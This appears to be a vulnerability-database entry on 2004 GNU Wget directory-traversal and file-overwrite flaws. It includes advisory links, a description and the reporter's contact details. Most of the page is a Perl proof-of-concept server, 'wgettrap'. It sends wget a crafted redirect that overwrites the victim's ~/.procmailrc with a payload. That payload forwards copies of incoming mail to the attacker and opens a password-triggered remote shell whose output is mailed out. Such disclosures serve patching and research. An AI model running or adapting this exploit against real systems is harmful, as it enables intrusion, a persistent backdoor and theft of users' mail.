GNU Wget 1.x - Multiple Vulnerabilities

🗓️ 10 Dec 2004 00:00:00Reported by Jan MinarType

Multiple vulnerabilities in GNU Wget allow file overwriting and directory traversal attacks.

Reporter	Title	Published	Views	Family All 23
Tenable Nessus	GNU WGet Multiple Remote Vulnerabilities	10 Dec 200400:00	–	nessus
Tenable Nessus	CentOS 3 / 4 : wget (CESA-2005:771)	3 Jul 200600:00	–	nessus
Tenable Nessus	FreeBSD : wget -- multiple vulnerabilities (06f142ff-4df3-11d9-a9e7-0001020eed82)	13 Jul 200500:00	–	nessus
Tenable Nessus	Mandrake Linux Security Advisory : wget (MDKSA-2005:098)	10 Jun 200500:00	–	nessus
Tenable Nessus	RHEL 4 : wget (RHSA-2005:771)	5 Oct 200500:00	–	nessus
Tenable Nessus	SuSE9 Security Update : wget (YOU Patch Number 11090)	24 Sep 200900:00	–	nessus
Tenable Nessus	openSUSE 10 Security Update : wget (wget-1689)	17 Oct 200700:00	–	nessus
Tenable Nessus	Ubuntu 4.10 / 5.04 : wget vulnerabilities (USN-145-1)	15 Jan 200600:00	–	nessus
Cent OS	wget security update	27 Sep 200516:29	–	centos
Cent OS	wget security update	27 Sep 200522:58	–	centos

source: https://www.securityfocus.com/bid/11871/info

Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:

- a potential directory-traversal issue
- an arbitrary file-overwriting vulnerability
- a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input.

Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.


--
 )^o-o^|    jabber: [email protected]
 | .v  K    e-mail: jjminar FastMail FM
 `  - .'     phone: +44(0)7981 738 696
  \ __/Jan     icq: 345 355 493
 __|o|__Min??  irc: [email protected]

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected?
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
        print LOG $_ if $log;
        if (/\Q$trick$filename\E/) {
        #if (/%2f/) {
                # We see the filename, so this is the second time
                # they're here.  Time to feed the sploit.
                $second++;
        } elsif (/^Range: bytes=\(33\)-/) {
                # Appending goes like this:
                # (1) Tell'em what you're gonna tell'em
                # (2) Then tell'em just a half
                # (3) Close it
                # (4) Wait
                # (5) They're comin' back, with wget -c
                # (6) Tell'em the sploit
                # (7) Close again
                # (8) Wtf? They're comin' back with wget -c again
                # (9) Tell'em the rest...
                # (10) ... enjoying the backdoor at the same time
                print LOG "File if $1 bytes long\n" if $log;
        } elsif (/^\r?$/) {
                # The HTTP headers are over.  Let's do it!
                $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
                if (!$second) {
                        # Print the payload
                        print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r
EOT
                } else {
                        # Print the redirection
                        print <<EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
                }
                exit 0;
        }
}

17 Mar 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 25

EPSS0.11919